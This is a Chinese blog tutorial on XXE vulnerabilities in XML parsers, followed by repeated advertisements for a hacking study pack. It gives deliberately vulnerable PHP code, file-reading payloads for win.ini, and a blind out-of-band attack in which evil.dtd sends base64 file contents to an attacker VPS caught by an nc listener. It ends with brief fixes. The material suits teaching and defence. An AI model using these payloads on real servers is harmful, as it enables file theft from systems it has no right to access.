一文学会XXE漏洞,(非常详细)从零基础到精通,收藏这篇就够了!

声明:本文仅供安全研究和学习,切勿用于非法用途。任何滥用本文信息的行为,后果自负,与作者无关!请自觉遵守法律法规!

漏洞原理:扒开XML的“皮”

想搞懂XXE漏洞?先得和XML“谈谈心”。XML文档就像一个结构化的数据“容器”,里面装着XML声明、文档类型定义(DTD)和各种元素。

文档类型定义(DTD),这玩意儿有点像XML的“剧本”,告诉解析器文档该怎么读。DTD分两种:

  • 内部声明: “剧本”写在XML文档里。
  • 外部引用: “剧本”藏在外面,通过链接告诉解析器。
内部声明DTD格式:
<!DOCTYPE 根元素 [元素声明]>

外部引用DTD格式:
<!DOCTYPE 根元素 SYSTEM "DTD文件URL">

有了“剧本”,我们就能在DTD里声明“实体”。实体,你可以理解为XML里的“变量”,分内部实体和外部实体。外部实体最“皮”,它能引用外部资源(文件、URL)。当XML解析器读到外部实体,会把它的内容替换成实际内容。

内部实体:
<!ENTITY 实体名称 "实体的值">

外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

上面这些都是通用实体。还有一种叫参数实体,定义时在名字前加个“%”,只能在DTD里用。

内部参数实体:
<!ENTITY % 实体名称 "实体的值">

简单来说,实体就是个“变量”,名字是变量名,值是变量值。

如果你的程序解析XML时,没关掉外部实体的解析功能,那黑客就能构造恶意的XML数据包,利用外部实体访问那些不该暴露的资源,搞事情!

漏洞利用:花式“偷”文件

先来一段有漏洞的服务端代码(PHP版):

<?php
// 接收POST请求中的XML数据
$xmlData = $_POST['xml'];

// 加载XML数据
$dom = new DOMDocument();
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

// 获取用户名和密码
$username = $dom->getElementsByTagName('username')->item(0)->textContent;
$password = $dom->getElementsByTagName('password')->item(0)->textContent;

// 打印用户名和密码
echo "Username: " . $username . "<br>";
echo "Password: " . $password . "<br>";
?>

1、有回显:直接“拿”

用内部声明DTD的格式,定义外部实体变量,读取win.ini文件,就像这样:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<user>
  <username>&xxe;</username>
  <password>123456</password>
</user>

发送请求包:

如果读取的文件里有特殊字符,回显可能会出问题。别慌,用base64编码一下:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
]>
<user>
  <username>&xxe;</username>
  <password>123456</password>
</user>

2、无回显:曲线“救”国

有时候,服务器不给你回显,那就得想办法把数据“偷”出来。

1)先准备一个DTD文件evil.dtd,扔到你的VPS上,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://你的VPS地址:2333/?file=%file;'>">
%int;
%send;

这个DTD文件定义了外部参数实体file,用来读取win.ini文件内容;外部参数实体int的内容是另一个外部参数实体send的定义,并且将实体file的内容拼接到url中,做带外请求。

2)在VPS上,DTD文件所在的目录开启http服务:

python -m http.server

3)在VPS上开启nc监听:

nc -lnvp 2333

4)发送如下POC:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://你的VPS地址/evil.dtd">
%remote;
]>
<root>
  <username>test</username>
  <password>test</password>
</root>

其中定义了外部参数实体remote,并在DTD中进行引用,这一步操作会将VPS上的evil.dtd文件加载,然后分别引用实体intsend,触发evil.dtd文件中的xml代码。

5)nc成功收到数据:

3、内网主机探测:看谁在“裸奔”

还可以用HTTP协议探测内网主机是否存活,就像用“雷达”扫描一样。

修复建议:给你的代码穿上“防弹衣”

1、禁止使用外部实体,这是最有效的防御手段。在PHP中,可以这样设置:

libxml_disable_entity_loader(true);

2、过滤用户输入的XML数据,防止出现非法内容。对用户提交的XML数据进行严格的校验和过滤,移除任何可能导致XXE攻击的恶意代码。例如,可以检查DOCTYPE声明和ENTITY定义,确保它们不包含任何外部引用。

记住,安全无小事,防患于未然!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值